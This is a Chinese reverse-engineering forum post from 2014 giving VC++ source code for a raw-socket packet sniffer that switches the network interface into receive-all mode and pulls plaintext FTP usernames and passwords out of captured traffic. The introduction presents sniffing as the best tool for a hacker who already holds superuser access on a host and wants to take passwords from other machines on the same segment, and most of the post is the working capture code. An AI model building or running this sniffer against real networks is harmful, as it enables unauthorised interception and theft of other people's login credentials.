滴水逆向联盟

标题: VC++监听数据分析出明文账号密码 [打印本页]

作者: 大灰狼    时间: 2014-11-7 08:51
标题: VC++监听数据分析出明文账号密码

网络监听是一种监视网络状态、数据流程以及网络上信息传输的管理工具,它可以将网络界面设定成监听模式,并且可以截获网络上所传输的信息。也就是说,当黑客登录网络主机并取得超级用户权限后,若要登录其它主机,使用网络监听便可以有效地截获网络上的数据,这是黑客使用最好的方法。但是网络监听只能应用于连接同一网段的主机,通常被用来获取用户密码等。



请见代码




  1. #include <stdio.h>  
  2. #include <mstcpip.h>  
  3.   
  4. #pragma comment(lib, "Advapi32.lib")  
  5.   
  6. CInitSock theSock;  
  7.   
  8.   
  9.   
  10. void GetFtp(char *pData, DWORD dwDestIp)  
  11. {  
  12.     char szBuf[256];  
  13.     static char szUserName[21];  
  14.     static char szPassword[21];  
  15.   
  16.     if(strnicmp(pData, "USER ", 5) == 0)  
  17.     {  
  18.         sscanf(pData + 4, "%*[ ]%s", szUserName);     
  19.     }  
  20.     else if(strnicmp(pData, "PASS ", 5) == 0)  
  21.     {  
  22.         sscanf(pData + 4, "%*[ ]%s", szPassword);  
  23.   
  24.         wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n",   
  25.                                 ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);  
  26.   
  27.         printf(szBuf);  // 这里您可以将它保存到文件中  
  28.     }  
  29. }  
  30.   
  31.   
  32. void DecodeIPPacket(char *pData)  
  33. {  
  34.     IPHeader *pIPHdr = (IPHeader*)pData;  
  35.   
  36.   
  37.     int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);  
  38.   
  39.     switch(pIPHdr->ipProtocol)  
  40.     {  
  41.     case IPPROTO_TCP:  
  42.         {  
  43.             TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);  
  44.             switch(::ntohs(pTCPHdr->destinationPort))  
  45.             {  
  46.             case 21:    // ftp协议  
  47.                 {  
  48.                     GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);  
  49.                 }  
  50.                 break;  
  51.   
  52.             case 80:    // http协议...  
  53.             case 8080:  
  54.                   
  55.                 break;  
  56.             }  
  57.         }  
  58.         break;  
  59.     case IPPROTO_UDP:  
  60.         break;  
  61.     case IPPROTO_ICMP:  
  62.         break;   
  63.     }  
  64. }  
  65.   
  66.   
  67. void main()  
  68. {  
  69.     // 创建原始套节字  
  70.     SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);  
  71.   
  72.     // 获取本地IP地址  
  73.     char szHostName[56];  
  74.     SOCKADDR_IN addr_in;  
  75.     struct  hostent *pHost;  
  76.     gethostname(szHostName, 56);  
  77.     if((pHost = gethostbyname((char*)szHostName)) == NULL)   
  78.         return ;  
  79.   
  80.     // 在调用ioctl之前,套节字必须绑定  
  81.     addr_in.sin_family  = AF_INET;  
  82.     addr_in.sin_port    = htons(0);  
  83.     memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);  
  84.   
  85.     printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));  
  86.     if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)  
  87.         return;  
  88.   
  89.     // 设置SIO_RCVALL控制代码,以便接收所有的IP包   
  90.     DWORD dwValue = 1;  
  91.     if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)      
  92.         return ;  
  93.       
  94.     // 开始接收封包  
  95.     printf(" \n\n begin to monitor ftp password... \n\n");  
  96.     char buff[1024];  
  97.     int nRet;  
  98.     while(TRUE)  
  99.     {  
  100.         nRet = recv(sRaw, buff, 1024, 0);  
  101.         if(nRet > 0)  
  102.         {  
  103.             DecodeIPPacket(buff);  
  104.         }  
  105.     }  
  106.     closesocket(sRaw);  
  107. }  
复制代码




作者: 大灰狼    时间: 2014-11-7 09:39





欢迎光临 滴水逆向联盟 (http://www.dtdebug.com/) Powered by Discuz! X3.2